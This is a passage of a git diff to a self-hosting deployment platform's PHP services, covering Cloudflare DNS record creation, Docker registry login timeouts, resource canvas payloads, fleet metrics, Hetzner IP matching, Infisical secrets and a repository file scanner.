$this->item('traefik_certificate_resolver', 'Certificate resolver', data_get($this->application, 'settings.traefik_certificate_resolver'), 'redeploy'), $this->item('is_http_basic_auth_enabled', 'HTTP basic auth', $this->application->is_http_basic_auth_enabled, 'redeploy'), $this->item('http_basic_auth_username', 'HTTP basic auth username', $this->application->http_basic_auth_username, 'redeploy'), $this->item('http_basic_auth_password', 'HTTP basic auth password', $this->application->http_basic_auth_password, 'redeploy', sensitive: true), diff --git a/app/Services/Dns/CloudflareDnsProvider.php b/app/Services/Dns/CloudflareDnsProvider.php index 9cc64beb4b..d3c57b78b5 100644 --- a/app/Services/Dns/CloudflareDnsProvider.php +++ b/app/Services/Dns/CloudflareDnsProvider.php @@ -31,6 +31,9 @@ class CloudflareDnsProvider $page = 1; do { $response = $this->client($token)->get('https://api.cloudflare.com/client/v4/zones', ['page' => $page, 'per_page' => 50]); + if ($response->status() === 403) { + throw new RuntimeException(self::missingPermissionMessage('Zone → Zone → Read')); + } if (! $response->successful() || $response->json('success') !== true) { throw new RuntimeException('Cloudflare zones could not be synchronized.'); } @@ -78,29 +81,54 @@ class CloudflareDnsProvider ->get(); } + public static function missingPermissionMessage(string $permission): string + { + return "The Cloudflare token needs the {$permission} permission."; + } + /** - * All records of the given type for a hostname (several records form a round-robin set). + * All records of the given type (all types when null) for a hostname (several records form a round-robin set). * * @return array */ - public function findRecords(DnsProviderZone $zone, string $hostname, string $type): array + public function findRecords(DnsProviderZone $zone, string $hostname, ?string $type): array { $hostname = strtolower(rtrim($hostname, '.')); $response = $this->client($zone->integrationToken)->get( "https://api.cloudflare.com/client/v4/zones/{$zone->provider_zone_id}/dns_records", - ['type' => $type, 'name' => $hostname, 'per_page' => 100], + array_filter(['type' => $type, 'name' => $hostname, 'per_page' => 100]), ); + if ($response->status() === 403) { + throw new RuntimeException(self::missingPermissionMessage('Zone → DNS → Edit')); + } if (! $response->successful()) { throw new RuntimeException('Cloudflare DNS records could not be checked.'); } return collect($response->json('result', [])) ->filter(fn ($remote): bool => is_array($remote)) - ->map(fn (array $remote): array => $this->normalizeRemoteRecord($remote, $hostname, $type)) + ->map(fn (array $remote): array => $this->normalizeRemoteRecord($remote, $hostname, $type ?? '')) ->values() ->all(); } + /** + * Records that block a new record of the type. A CNAME cannot share its name with A, AAAA, or other CNAME records. + * + * @return array + */ + private function conflictingRecords(DnsProviderZone $zone, string $hostname, string $type): array + { + if ($type !== 'CNAME') { + return $this->findRecords($zone, $hostname, $type); + } + + return array_values(array_filter( + $this->findRecords($zone, $hostname, null), + fn (array $remote): bool => in_array($remote['type'], ['A', 'AAAA', 'CNAME'], true), + )); + } + /** * Creates the record with Coolify's ownership comment, or references an existing record that already has the wanted content. * Existing records that Coolify did not create are only referenced and never marked as owned. @@ -111,15 +139,15 @@ class CloudflareDnsProvider * * @throws LockTimeoutException when another change for the hostname does not finish in time */ - public function createRecord(DnsProviderZone $zone, string $hostname, string $content, ?Model $resource = null, array $additionalResources = []): ManagedDnsRecord + public function createRecord(DnsProviderZone $zone, string $hostname, string $content, ?Model $resource = null, array $additionalResources = [], ?bool $proxied = null): ManagedDnsRecord { $hostname = strtolower(rtrim($hostname, '.')); return $this->hostnameLock->run( (int) $zone->integrationToken->team_id, $hostname, - function () use ($zone, $hostname, $content, $resource, $additionalResources): ManagedDnsRecord { - $record = $this->createRecordLocked($zone, $hostname, $content, $resource); + function () use ($zone, $hostname, $content, $resource, $additionalResources, $proxied): ManagedDnsRecord { + $record = $this->createRecordLocked($zone, $hostname, $content, $resource, $proxied); foreach ($additionalResources as $additionalResource) { $record->addReference($additionalResource); } @@ -129,11 +157,11 @@ class CloudflareDnsProvider ); } - private function createRecordLocked(DnsProviderZone $zone, string $hostname, string $content, ?Model $resource): ManagedDnsRecord + private function createRecordLocked(DnsProviderZone $zone, string $hostname, string $content, ?Model $resource, ?bool $proxied): ManagedDnsRecord { $type = $this->recordType($content); - $remoteRecords = $this->findRecords($zone, $hostname, $type); - $matching = collect($remoteRecords)->first(fn (array $remote): bool => DnsRecordHints::sameAddress($remote['content'], $content)); + $remoteRecords = $this->conflictingRecords($zone, $hostname, $type); + $matching = collect($remoteRecords)->first(fn (array $remote): bool => $remote['type'] === $type && DnsRecordHints::sameAddress($remote['content'], $content)); if ($matching !== null) { if ($matching['id'] === '') { throw new RuntimeException('Cloudflare DNS records could not be checked.'); @@ -153,9 +181,13 @@ class CloudflareDnsProvider $uuid = new_public_id(); $response = $this->client($zone->integrationToken)->post("https://api.cloudflare.com/client/v4/zones/{$zone->provider_zone_id}/dns_records", [ - 'type' => $type, 'name' => $hostname, 'content' => $content, 'ttl' => 1, 'proxied' => false, + 'type' => $type, 'name' => $hostname, 'content' => $content, 'ttl' => 1, + 'proxied' => $proxied ?? $zone->integrationToken->proxiedDnsEnabled(), 'comment' => ManagedDnsRecord::ownershipCommentFor($uuid), ]); + if ($response->status() === 403) { + throw new RuntimeException(self::missingPermissionMessage('Zone → DNS → Edit')); + } if (! $response->successful() || ! is_string($response->json('result.id'))) { throw new RuntimeException('Cloudflare could not create the DNS record.'); } @@ -175,7 +207,8 @@ class CloudflareDnsProvider /** * Points an existing (conflicting) record at the new content after explicit user confirmation. - * Only the content changes: proxy status, TTL, comment and other settings stay as they are. + * Only the content (and the type, when it differs) changes: TTL, comment and other settings stay as they are. + * The proxy status changes only when $proxied is set. * * @param array $additionalResources Other resources that use the hostname and also reference the record. * @@ -189,14 +222,15 @@ class CloudflareDnsProvider ?Model $resource = null, ?string $expectedCurrent = null, array $additionalResources = [], + bool $proxied = false, ): ManagedDnsRecord { $hostname = strtolower(rtrim($hostname, '.')); return $this->hostnameLock->run( (int) $zone->integrationToken->team_id, $hostname, - function () use ($zone, $recordId, $hostname, $content, $resource, $expectedCurrent, $additionalResources): ManagedDnsRecord { - $record = $this->replaceRecordLocked($zone, $recordId, $hostname, $content, $resource, $expectedCurrent); + function () use ($zone, $recordId, $hostname, $content, $resource, $expectedCurrent, $additionalResources, $proxied): ManagedDnsRecord { + $record = $this->replaceRecordLocked($zone, $recordId, $hostname, $content, $resource, $expectedCurrent, $proxied); foreach ($additionalResources as $additionalResource) { $record->addReference($additionalResource); } @@ -213,9 +247,10 @@ class CloudflareDnsProvider string $content, ?Model $resource, ?string $expectedCurrent, + bool $proxied, ): ManagedDnsRecord { $type = $this->recordType($content); - $remoteRecords = $this->findRecords($zone, $hostname, $type); + $remoteRecords = $this->conflictingRecords($zone, $hostname, $type); if (count($remoteRecords) > 1) { throw new RuntimeException("Several DNS records already exist for {$hostname}. Update them in Cloudflare."); } @@ -228,10 +263,20 @@ class CloudflareDnsProvider throw new RuntimeException('The DNS conflict is no longer available. Check the record again.'); } + $changes = ['content' => $content]; + if ($remote['type'] !== $type) { + $changes['type'] = $type; + } + if ($proxied) { + $changes['proxied'] = true; + } $response = $this->client($zone->integrationToken)->patch( "https://api.cloudflare.com/client/v4/zones/{$zone->provider_zone_id}/dns_records/{$remote['id']}", - ['content' => $content], + $changes, ); + if ($response->status() === 403) { + throw new RuntimeException(self::missingPermissionMessage('Zone → DNS → Edit')); + } if (! $response->successful()) { throw new RuntimeException('Cloudflare could not replace the conflicting DNS record.'); } @@ -336,7 +381,11 @@ class CloudflareDnsProvider private function recordType(string $content): string { - return filter_var($content, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) ? 'AAAA' : 'A'; + return match (true) { + filter_var($content, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false => 'AAAA', + filter_var($content, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false => 'A', + default => 'CNAME', + }; } private function auditDnsRecord(string $action, DnsProviderZone $zone, string $hostname, ?Model $resource): void diff --git a/app/Services/DockerRegistryLogins.php b/app/Services/DockerRegistryLogins.php index 6b95d56393..8406fa9ec4 100644 --- a/app/Services/DockerRegistryLogins.php +++ b/app/Services/DockerRegistryLogins.php @@ -6,16 +6,22 @@ use App\Helpers\SshMultiplexingHelper; use App\Models\Application; use App\Models\Server; use App\Models\Service; +use Illuminate\Process\Exceptions\ProcessTimedOutException; use Illuminate\Support\Arr; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Process; use RuntimeException; +use Symfony\Component\Process\Exception\ProcessTimedOutException as SymfonyProcessTimedOutException; class DockerRegistryLogins { public const DOCKER_HUB = 'docker.io'; - public const REGISTRY_PATTERN = '/^[a-z0-9]([a-z0-9.-]*[a-z0-9])?(:[0-9]{1,5})?$/'; + /** + * A registry host with an optional port. An IPv6 host is bracketed ([2a01:4f8::1]:5000) and holds only + * hex digits, ':' and '.', so the value stays safe in shell commands. + */ + public const REGISTRY_PATTERN = '/^(?:[a-z0-9]([a-z0-9.-]*[a-z0-9])?|\[[0-9a-f:.]+\])(:[0-9]{1,5})?$/'; /** * Read the registries a server is logged in to from the Docker config that deployments mount. @@ -270,7 +276,12 @@ class DockerRegistryLogins private static function run(Server $server, string $command, array $secrets = [], ?string $emptyErrorMessage = null): void { $commands = $server->isNonRoot() ? parseCommandsByLineForSudo(collect([$command]), $server) : [$command]; - $process = Process::timeout(60)->run(SshMultiplexingHelper::generateSshCommand($server, implode("\n", $commands))); + try { + $process = Process::timeout(60)->run(SshMultiplexingHelper::generateSshCommand($server, implode("\n", $commands))); + } catch (ProcessTimedOutException|SymfonyProcessTimedOutException) { + // The timeout message contains the full SSH command, including the registry password. + throw new RuntimeException('The command on the server timed out after 60 seconds.', 124); + } if ($process->exitCode() === 0) { return; diff --git a/app/Services/EnvironmentCanvas.php b/app/Services/EnvironmentCanvas.php new file mode 100644 index 0000000000..ff42ebf6bd --- /dev/null +++ b/app/Services/EnvironmentCanvas.php @@ -0,0 +1,380 @@ + 'PostgreSQL', + 'redis' => 'Redis', + 'mongodb' => 'MongoDB', + 'mysql' => 'MySQL', + 'mariadb' => 'MariaDB', + 'keydb' => 'KeyDB', + 'dragonfly' => 'Dragonfly', + 'clickhouse' => 'ClickHouse', + 'sqlite' => 'SQLite', + ]; + + private const BUILD_PACK_NAMES = [ + 'nixpacks' => 'Nixpacks', + 'railpack' => 'Railpack', + 'static' => 'Static', + 'dockerfile' => 'Dockerfile', + 'dockercompose' => 'Docker Compose', + 'dockerimage' => 'Docker Image', + ]; + + /** + * The canvas payload of an environment. + * + * @return array{project: array{uuid: string, name: string, link: string}, environment: array{uuid: string, name: string, link: string}, can_edit: bool, zones: array>, nodes: array>, links: array, positions: array} + */ + public function payload(Environment $environment, bool $canReadSensitive, bool $canEdit): array + { + $environment->loadMissing('project'); + $resources = $this->loadResources($environment); + $graph = $this->graph($resources, $environment->resourceLinks()->orderBy('id')->get(), $canReadSensitive); + + return [ + 'project' => [ + 'uuid' => $environment->project->uuid, + 'name' => $environment->project->name, + 'link' => route('project.show', ['project_uuid' => $environment->project->uuid]), + ], + 'environment' => [ + 'uuid' => $environment->uuid, + 'name' => $environment->name, + 'link' => route('project.resource.index', ['project_uuid' => $environment->project->uuid, 'environment_uuid' => $environment->uuid]), + ], + 'can_edit' => $canEdit, + ...$graph, + 'positions' => $this->filterPositions($environment->canvas_positions ?? [], $resources->keys()->all()), + ]; + } + + /** + * Zones (servers), cards and links of the given resources. Links with an end outside the resources are left out. + * + * @param Collection $resources keyed by uuid + * @param Collection $links + * @return array{zones: array>, nodes: array>, links: array} + */ + public function graph(Collection $resources, Collection $links, bool $canReadSensitive): array + { + $startingServiceUuids = $this->startingServiceUuids($resources->filter(fn (Model $resource) => $resource instanceof Service)); + + $servers = collect(); + $nodes = $resources->map(function (Model $resource) use (&$servers, $startingServiceUuids) { + $node = match (true) { + $resource instanceof Application => $this->applicationNode($resource), + $resource instanceof Service => $this->serviceNode($resource, in_array($resource->uuid, $startingServiceUuids, true)), + default => $this->databaseNode($resource), + }; + foreach ($node['servers'] as $server) { + $servers->put($server->id, $server); + } + unset($node['servers']); + + return $node; + })->values(); + + $uuidByMorphKey = $resources->mapWithKeys(fn (Model $resource) => [$this->morphKey($resource->getMorphClass(), $resource->getKey()) => $resource->uuid]); + + $links = $links + ->map(fn (ResourceLink $link) => [ + 'link' => $link, + 'source' => $uuidByMorphKey->get($this->morphKey($link->source_type, $link->source_id)), + 'target' => $uuidByMorphKey->get($this->morphKey($link->target_type, $link->target_id)), + ]) + ->filter(fn (array $link) => $link['source'] !== null && $link['target'] !== null) + ->map(fn (array $link) => $this->linkPayload($link['link'], $link['source'], $link['target'])) + ->values(); + + return [ + 'zones' => $servers->values()->map(fn (Server $server) => $this->zone($server, $canReadSensitive))->all(), + 'nodes' => $nodes->all(), + 'links' => $links->all(), + ]; + } + + /** + * @return array{id: string, name: string, ip: ?string, is_reachable: bool, is_usable: bool, link: string} + */ + public function zone(Server $server, bool $canReadSensitive): array + { + return [ + 'id' => $server->uuid, + 'name' => $server->name, + 'ip' => $canReadSensitive ? $server->ip : null, + 'is_reachable' => (bool) $server->settings?->is_reachable, + 'is_usable' => (bool) $server->settings?->is_usable, + 'link' => route('server.show', ['server_uuid' => $server->uuid]), + ]; + } + + /** + * Top-level resources of the environment (applications, services, standalone databases), keyed by uuid, + * with the relations the canvas reads. + * + * @return Collection + */ + public function loadResources(Environment $environment): Collection + { + $project = $environment->project; + $environment->setRelation('project', $project); + $applications = $environment->applications() + ->with(['destination.server.settings', 'additional_servers.settings', 'persistentStorages']) + ->get(); + $services = $environment->services() + ->with([ + 'server.settings', + 'destination.server.settings', + 'applications.persistentStorages', + 'databases.persistentStorages', + ]) + ->get(); + $databases = collect(self::DATABASE_RELATIONS) + ->flatMap(fn (string $relation) => $environment->{$relation}() + ->with(['destination.server.settings', 'persistentStorages']) + ->get()); + + return collect() + ->concat($applications) + ->concat($services) + ->concat($databases) + ->each(fn (Model $resource) => $resource->setRelation('environment', $environment)) + ->keyBy('uuid'); + } + + /** + * Morph type and id of every top-level resource of the environment, keyed by uuid. Reads ids only. + * + * @return Collection + */ + public function resourceIndex(Environment $environment): Collection + { + return collect(['applications', 'services', ...self::DATABASE_RELATIONS]) + ->flatMap(function (string $relation) use ($environment) { + $query = $environment->{$relation}(); + $type = $query->getRelated()->getMorphClass(); + + return $query->toBase()->get(['id', 'uuid']) + ->map(fn (object $row) => ['uuid' => $row->uuid, 'type' => $type, 'id' => (int) $row->id]); + }) + ->keyBy('uuid') + ->map(fn (array $row) => ['type' => $row['type'], 'id' => $row['id']]); + } + + /** + * Keep only positions of the given node uuids, as integer coordinates. + * + * @param array $positions + * @param array $nodeUuids + * @return array + */ + public function filterPositions(array $positions, array $nodeUuids): array + { + return collect($positions) + ->only($nodeUuids) + ->filter(fn ($position) => is_array($position) && is_numeric($position['x'] ?? null) && is_numeric($position['y'] ?? null)) + ->map(fn (array $position) => ['x' => (int) $position['x'], 'y' => (int) $position['y']]) + ->all(); + } + + /** + * @return array{id: string, source: string, target: string, label: ?string} + */ + public function linkPayload(ResourceLink $link, string $sourceUuid, string $targetUuid): array + { + return [ + 'id' => $link->uuid, + 'source' => $sourceUuid, + 'target' => $targetUuid, + 'label' => $link->label, + ]; + } + + /** + * @return array + */ + private function applicationNode(Application $application): array + { + $server = $application->destination?->server; + $extraServers = $application->additional_servers->filter()->values(); + $buildPack = $application->build_pack; + $detail = $buildPack === 'dockerimage' + ? collect([$application->docker_registry_image_name, $application->docker_registry_image_tag])->filter()->implode(':') + : $application->git_branch; + + return [ + 'id' => $application->uuid, + 'type' => 'application', + 'name' => $application->name, + 'status' => (string) $application->status, + 'zone' => $server?->uuid, + 'extra_zones' => $extraServers->pluck('uuid')->reject(fn ($uuid) => $uuid === $server?->uuid)->unique()->values()->all(), + 'urls' => $this->splitUrls($application->fqdn), + 'kind' => $buildPack, + 'subtitle' => $this->subtitle([self::BUILD_PACK_NAMES[$buildPack] ?? str($buildPack)->headline()->value(), $detail]), + 'children' => [], + 'volumes' => $application->persistentStorages->pluck('name')->filter()->values()->all(), + 'link' => $application->link(), + 'logo' => resource_logo($application), + 'servers' => collect([$server])->concat($extraServers)->filter()->all(), + ]; + } + + /** + * @return array + */ + private function serviceNode(Service $service, bool $isStarting): array + { + $server = $service->server ?? $service->destination?->server; + $children = $service->applications + ->map(fn ($child) => ['name' => $child->name, 'type' => 'application', 'status' => (string) $child->status]) + ->concat($service->databases->map(fn ($child) => ['name' => $child->name, 'type' => 'database', 'status' => (string) $child->status])) + ->values(); + $containerCount = $children->count(); + + return [ + 'id' => $service->uuid, + 'type' => 'service', + 'name' => $service->name, + 'status' => $isStarting ? 'starting:unhealthy' : (string) $service->containerStatus(), + 'zone' => $server?->uuid, + 'extra_zones' => [], + 'urls' => $service->applications + ->flatMap(fn ($child) => $this->splitUrls($child->fqdn)) + ->unique() + ->values() + ->all(), + 'kind' => null, + 'subtitle' => $this->subtitle(['Service', $containerCount.' '.str('container')->plural($containerCount)]), + 'children' => $children->all(), + 'volumes' => $service->applications->concat($service->databases) + ->flatMap(fn ($child) => $child->persistentStorages->pluck('name')) + ->filter() + ->unique() + ->values() + ->all(), + 'link' => $service->link(), + 'logo' => resource_logo($service), + 'servers' => collect([$server])->filter()->all(), + ]; + } + + /** + * @return array + */ + private function databaseNode(Model $database): array + { + $server = $database->destination?->server; + $engine = str($database->type())->after('standalone-')->value(); + + return [ + 'id' => $database->uuid, + 'type' => 'database', + 'name' => $database->name, + 'status' => (string) $database->status, + 'zone' => $server?->uuid, + 'extra_zones' => [], + 'urls' => [], + 'kind' => $engine, + 'subtitle' => $this->subtitle([self::DATABASE_ENGINE_NAMES[$engine] ?? str($engine)->headline()->value(), $database->image]), + 'children' => [], + 'volumes' => $database->persistentStorages->pluck('name')->filter()->values()->all(), + 'link' => $database->link(), + 'logo' => resource_logo($database), + 'servers' => collect([$server])->filter()->all(), + ]; + } + + /** + * Uuids of services with a queued or running start, read with one query instead of one per service. + * + * @param Collection $services + * @return array + */ + private function startingServiceUuids(Collection $services): array + { + if ($services->isEmpty()) { + return []; + } + + $staleAfterSeconds = max(ResourceStartActivity::QUEUED_STALE_AFTER_SECONDS, ResourceStartActivity::IN_PROGRESS_STALE_AFTER_SECONDS); + + /** @var EloquentCollection $activities */ + $activities = Activity::query() + ->whereIn('properties->type_uuid', $services->pluck('uuid')->all()) + ->where('updated_at', '>=', now()->subSeconds($staleAfterSeconds)) + ->latest() + ->orderByDesc('id') + ->get(); + + return $activities + ->groupBy(fn (Activity $activity) => (string) data_get($activity, 'properties.type_uuid')) + ->filter(fn (EloquentCollection $group) => ResourceStartActivity::isRunning($group->first())) + ->keys() + ->all(); + } + + /** + * @return array + */ + private function splitUrls(?string $fqdn): array + { + return str((string) $fqdn)->explode(',') + ->map(fn (string $url) => trim($url)) + ->filter() + ->unique() + ->values() + ->all(); + } + + /** + * @param array $parts + */ + private function subtitle(array $parts): string + { + return collect($parts)->map(fn ($part) => trim((string) $part))->filter()->implode(' · '); + } + + private function morphKey(string $type, int|string $id): string + { + return $type.'|'.$id; + } +} diff --git a/app/Services/FleetMetricsAggregator.php b/app/Services/FleetMetricsAggregator.php new file mode 100644 index 0000000000..29e0459d3b --- /dev/null +++ b/app/Services/FleetMetricsAggregator.php @@ -0,0 +1,136 @@ +> $rows + * @return array + */ + public static function fleetKpis(array $rows): array + { + $online = array_values(array_filter($rows, fn ($r) => $r['online'] === true)); + + $cpuValues = self::present($online, 'cpu'); + $cpuAvg = $cpuValues === [] ? 0.0 : round(array_sum($cpuValues) / count($cpuValues), 1); + + $busiest = null; + foreach ($online as $r) { + if ($r['cpu'] !== null && ($busiest === null || $r['cpu'] > $busiest['percent'])) { + $busiest = ['name' => $r['name'], 'percent' => (float) $r['cpu']]; + } + } + + $memUsed = (int) self::sum($online, 'memUsed'); + $memTotal = (int) self::sum($online, 'memTotal'); + $diskUsed = (int) self::sum($online, 'diskUsed'); + $diskTotal = (int) self::sum($online, 'diskTotal'); + $load1 = self::present($online, 'load1'); + + $needsAttention = 0; + foreach ($online as $r) { + $hot = PressureLevel::for($r['cpu'], 'cpu') !== 'ok' + || PressureLevel::for(self::percent($r['memUsed'], $r['memTotal']), 'memory') !== 'ok' + || PressureLevel::for($r['diskPercent'], 'disk') !== 'ok'; + if ($hot) { + $needsAttention++; + } + } + + return [ + 'serversOnline' => count($online), + 'serversTotal' => count($rows), + 'needsAttention' => $needsAttention, + 'cpuAvg' => $cpuAvg, + 'cpuApproximate' => count($cpuValues) > 1, + 'cpuBusiest' => $busiest, + 'memUsed' => $memUsed, + 'memTotal' => $memTotal, + 'memPercent' => self::percent($memUsed, $memTotal), + 'diskUsed' => $diskUsed, + 'diskTotal' => $diskTotal, + 'diskPercent' => self::percent($diskUsed, $diskTotal), + 'netRx' => (float) self::sum($online, 'netRx'), + 'netTx' => (float) self::sum($online, 'netTx'), + 'loadBusiest' => $load1 === [] ? 0.0 : max($load1), + 'loadAvg' => $load1 === [] ? 0.0 : round(array_sum($load1) / count($load1), 2), + 'containers' => (int) self::sum($online, 'containers'), + ]; + } + + /** + * @param array> $seriesPerServer + * @return array + */ + public static function sumSeriesByBucket(array $seriesPerServer, string $mode): array + { + $totals = []; + $counts = []; + + foreach ($seriesPerServer as $series) { + foreach ($series as [$ts, $value]) { + $totals[$ts] = ($totals[$ts] ?? 0.0) + (float) $value; + $counts[$ts] = ($counts[$ts] ?? 0) + 1; + } + } + + ksort($totals); + + $out = []; + foreach ($totals as $ts => $sum) { + $out[] = [(int) $ts, $mode === 'avg' ? round($sum / $counts[$ts], 2) : round($sum, 2)]; + } + + return $out; + } + + /** + * @param array> $containers + * @return array> + */ + public static function rankContainers(array $containers, string $metric, int $limit = 20): array + { + $key = match ($metric) { + 'memory' => 'memUsed', + 'disk' => 'diskBytes', + 'network' => 'net', + default => 'cpu', + }; + + usort($containers, fn ($a, $b) => ($b[$key] ?? 0) <=> ($a[$key] ?? 0)); + + return array_slice($containers, 0, $limit); + } + + /** + * @param array> $rows + * @return array + */ + private static function present(array $rows, string $key): array + { + return array_values(array_map( + fn ($r) => (float) $r[$key], + array_filter($rows, fn ($r) => $r[$key] !== null) + )); + } + + /** + * @param array> $rows + */ + private static function sum(array $rows, string $key): float + { + return array_sum(array_map(fn ($r) => $r[$key] ?? 0, $rows)); + } + + private static function percent(int|float|null $used, int|float|null $total): float + { + if (! $total) { + return 0.0; + } + + return round(($used / $total) * 100, 1); + } +} diff --git a/app/Services/HetznerService.php b/app/Services/HetznerService.php index 27dbc4a83a..c9675a24c8 100644 --- a/app/Services/HetznerService.php +++ b/app/Services/HetznerService.php @@ -179,18 +179,19 @@ class HetznerService public function findServerByIp(string $ip): ?array { + $ip = normalizeIpAddress($ip); + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; $servers = $this->getServers(); foreach ($servers as $server) { - // Check IPv4 $ipv4 = data_get($server, 'public_net.ipv4.ip'); - if ($ipv4 === $ip) { + if (filled($ipv4) && normalizeIpAddress($ipv4) === $ip) { return $server; } - // Check IPv6 (Hetzner returns the full /64 block) - $ipv6 = data_get($server, 'public_net.ipv6.ip'); - if ($ipv6 && str_starts_with($ip, rtrim($ipv6, '/'))) { + // Hetzner returns the IPv6 network (2a01:4f8:c016:bd23::/64), not the server address. + $ipv6Network = data_get($server, 'public_net.ipv6.ip'); + if ($isIpv6 && filled($ipv6Network) && str_contains($ipv6Network, '/') && ipMatch($ip, [$ipv6Network])) { return $server; } } diff --git a/app/Services/InfisicalService.php b/app/Services/InfisicalService.php index 06f1e5d49f..1d3e87e48c 100644 --- a/app/Services/InfisicalService.php +++ b/app/Services/InfisicalService.php @@ -39,11 +39,14 @@ class InfisicalService { $client = $this->client()->withToken($this->login()); $secretPath = $secretPath ?: '/'; + // Older Infisical versions do not expand ${KEY} references unless asked to. + $valueOptions = ['expandSecretReferences' => 'true', 'viewSecretValue' => 'true']; $response = $client->get($this->baseUrl.'/api/v4/secrets', [ 'projectId' => $projectId, 'environment' => $environment, 'secretPath' => $secretPath, + ...$valueOptions, ]); // Older self-hosted instances only expose the v3 endpoint. @@ -52,6 +55,7 @@ class InfisicalService 'workspaceId' => $projectId, 'environment' => $environment, 'secretPath' => $secretPath, + ...$valueOptions, ]); } diff --git a/app/Services/ProjectCanvas.php b/app/Services/ProjectCanvas.php new file mode 100644 index 0000000000..20e537a8c4 --- /dev/null +++ b/app/Services/ProjectCanvas.php @@ -0,0 +1,106 @@ +>, nodes: array>, links: array>, positions: array} + */ + public function teamPayload(int $teamId, bool $canReadSensitive, bool $canEdit = false): array + { + $projects = Project::query()->where('team_id', $teamId)->orderBy('name')->get(['id', 'uuid', 'name', 'team_id']); + $environments = Environment::query()->whereIn('project_id', $projects->pluck('id')) + ->get(['id', 'uuid', 'name', 'project_id', 'canvas_positions']); + $resources = $this->servers->loadResources($environments->pluck('id')); + $links = ResourceLink::query()->whereIn('environment_id', $environments->pluck('id'))->orderBy('id')->get(); + $graph = $this->canvas->graph($resources, $links, $canReadSensitive); + + $grouping = $resources->map(fn (Model $resource) => [ + 'zone' => $resource->environment->project->uuid, + 'extra_zones' => [], + 'context' => $resource->environment->name, + 'context_link' => route('project.resource.index', ['project_uuid' => $resource->environment->project->uuid, 'environment_uuid' => $resource->environment->uuid]), + ...$this->owner($resource), + ]); + + return [ + 'title' => 'Projects', + 'title_link' => route('project.index'), + 'can_edit' => $canEdit, + // Same grouped layout as the server canvas, with projects as the zones. + 'layout' => 'server', + 'zones' => $projects->map(fn (Project $project) => [ + 'id' => $project->uuid, + 'name' => $project->name, + 'icon' => 'projects', + 'link' => route('project.show', ['project_uuid' => $project->uuid]), + ])->values()->all(), + 'nodes' => collect($graph['nodes'])->map(fn (array $node) => [...$node, ...$grouping->get($node['id'])])->values()->all(), + 'links' => $graph['links'], + 'positions' => $this->canvas->filterPositions( + $environments->reduce(fn (array $positions, Environment $environment) => [...$positions, ...($environment->canvas_positions ?? [])], []), + $resources->keys()->all(), + ), + ]; + } + + /** + * @return array{title: string, title_link: string, can_edit: bool, layout: 'server', zones: array>, nodes: array>, links: array>, positions: array} + */ + public function payload(Project $project, bool $canReadSensitive, bool $canEdit = false): array + { + $environments = $project->environments()->get(['id', 'uuid', 'name', 'project_id', 'canvas_positions']); + $resources = $this->servers->loadResources($environments->pluck('id')); + $links = ResourceLink::query()->whereIn('environment_id', $environments->pluck('id'))->orderBy('id')->get(); + $graph = $this->canvas->graph($resources, $links, $canReadSensitive); + + $context = $resources->map(fn (Model $resource) => [ + 'context' => $resource->environment->name, + 'context_link' => route('project.resource.index', ['project_uuid' => $project->uuid, 'environment_uuid' => $resource->environment->uuid]), + ...$this->owner($resource), + ]); + + return [ + 'title' => $project->name, + 'title_link' => route('project.show', ['project_uuid' => $project->uuid]), + 'can_edit' => $canEdit, + // Groups cards by environment inside each server zone, like the server canvas. + 'layout' => 'server', + 'zones' => $graph['zones'], + 'nodes' => collect($graph['nodes'])->map(fn (array $node) => [...$node, ...$context->get($node['id'])])->values()->all(), + 'links' => $graph['links'], + 'positions' => $this->canvas->filterPositions( + $environments->reduce(fn (array $positions, Environment $environment) => [...$positions, ...($environment->canvas_positions ?? [])], []), + $resources->keys()->all(), + ), + ]; + } + + /** + * Project and environment of a card: the canvas saves moves and links on that environment canvas. + * + * @return array{project: array{uuid: string, name: string}, environment: array{uuid: string, name: string}} + */ + private function owner(Model $resource): array + { + return [ + 'project' => ['uuid' => $resource->environment->project->uuid, 'name' => $resource->environment->project->name], + 'environment' => ['uuid' => $resource->environment->uuid, 'name' => $resource->environment->name], + ]; + } +} diff --git a/app/Services/RepositoryDetector.php b/app/Services/RepositoryDetector.php new file mode 100644 index 0000000000..371f15908e --- /dev/null +++ b/app/Services/RepositoryDetector.php @@ -0,0 +1,129 @@ +scanCommands($uuid), $this->server, timeout: 60); + } finally { + instant_remote_process(["rm -rf /tmp/{$uuid}"], $this->server, false); + } + + return $this->parseOutput((string) str($output)->trim()->afterLast("\n")); + } + + /** + * Clones the repository without a checkout and lists the files with `git ls-tree`, so no file is + * written to the disk. Each command is one line because non-root servers send every line through + * parseCommandsByLineForSudo(). + * + * @return Collection + */ + protected function scanCommands(string $uuid): Collection + { + $checkoutDir = "/tmp/{$uuid}/checkout"; + $baseDir = trim($this->baseDirectory, '/'); + if (preg_match('~(^|/)\.\.?(/|$)~', $baseDir) || ! preg_match('~^[a-zA-Z0-9_./-]*$~', $baseDir)) { + throw new RuntimeException('Invalid repository base directory.'); + } + $tree = escapeshellarg($baseDir === '' ? 'HEAD' : "HEAD:{$baseDir}"); + $maxEnvBytes = self::MAX_ENV_FILE_BYTES; + + $classifyFiles = <<<'AWK' +{ split($1, meta, " "); if (meta[1] != "100644" && meta[1] != "100755") next; path = $2; lower = tolower(path); name = lower; sub(/.*\//, "", name); if (name ~ /^dockerfile(\.[a-z0-9_-]+)?$/) kind = "dockerfile"; else if (name ~ /^(docker-)?compose\.ya?ml$/) kind = "compose"; else if (lower ~ /^\.env\.(example|sample|template|dist|local\.example)$/) kind = "env"; else next; print kind "\t" meta[3] "\t" path } +AWK; + $exposedPort = <<<'AWK' +{ sub(/\r$/, "") } toupper($1) == "EXPOSE" { split($2, p, "/"); if (p[1] ~ /^[0-9]+$/ && p[1] + 0 > 0 && p[1] + 0 <= 65535) print p[1] + 0; exit } +AWK; + $summary = '{dockerfiles: map(select(.kind == "dockerfile") | .file), dockerComposeFiles: map(select(.kind == "compose") | .file), envFiles: (map(select(.kind == "env") | {(.file): .content}) | add // {}), dockerfilePorts: (map(select(.kind == "dockerfile") | {(.file): .port}) | add // {})}'; + + $scan = 'tab=$(printf "\t"); ' + ."git -c core.quotePath=false ls-tree -r {$tree} | awk -F '\\t' ".escapeshellarg($classifyFiles) + .' | while IFS="$tab" read -r kind object file; do case "$kind" in ' + .'dockerfile) port=$(git cat-file blob "$object" | awk 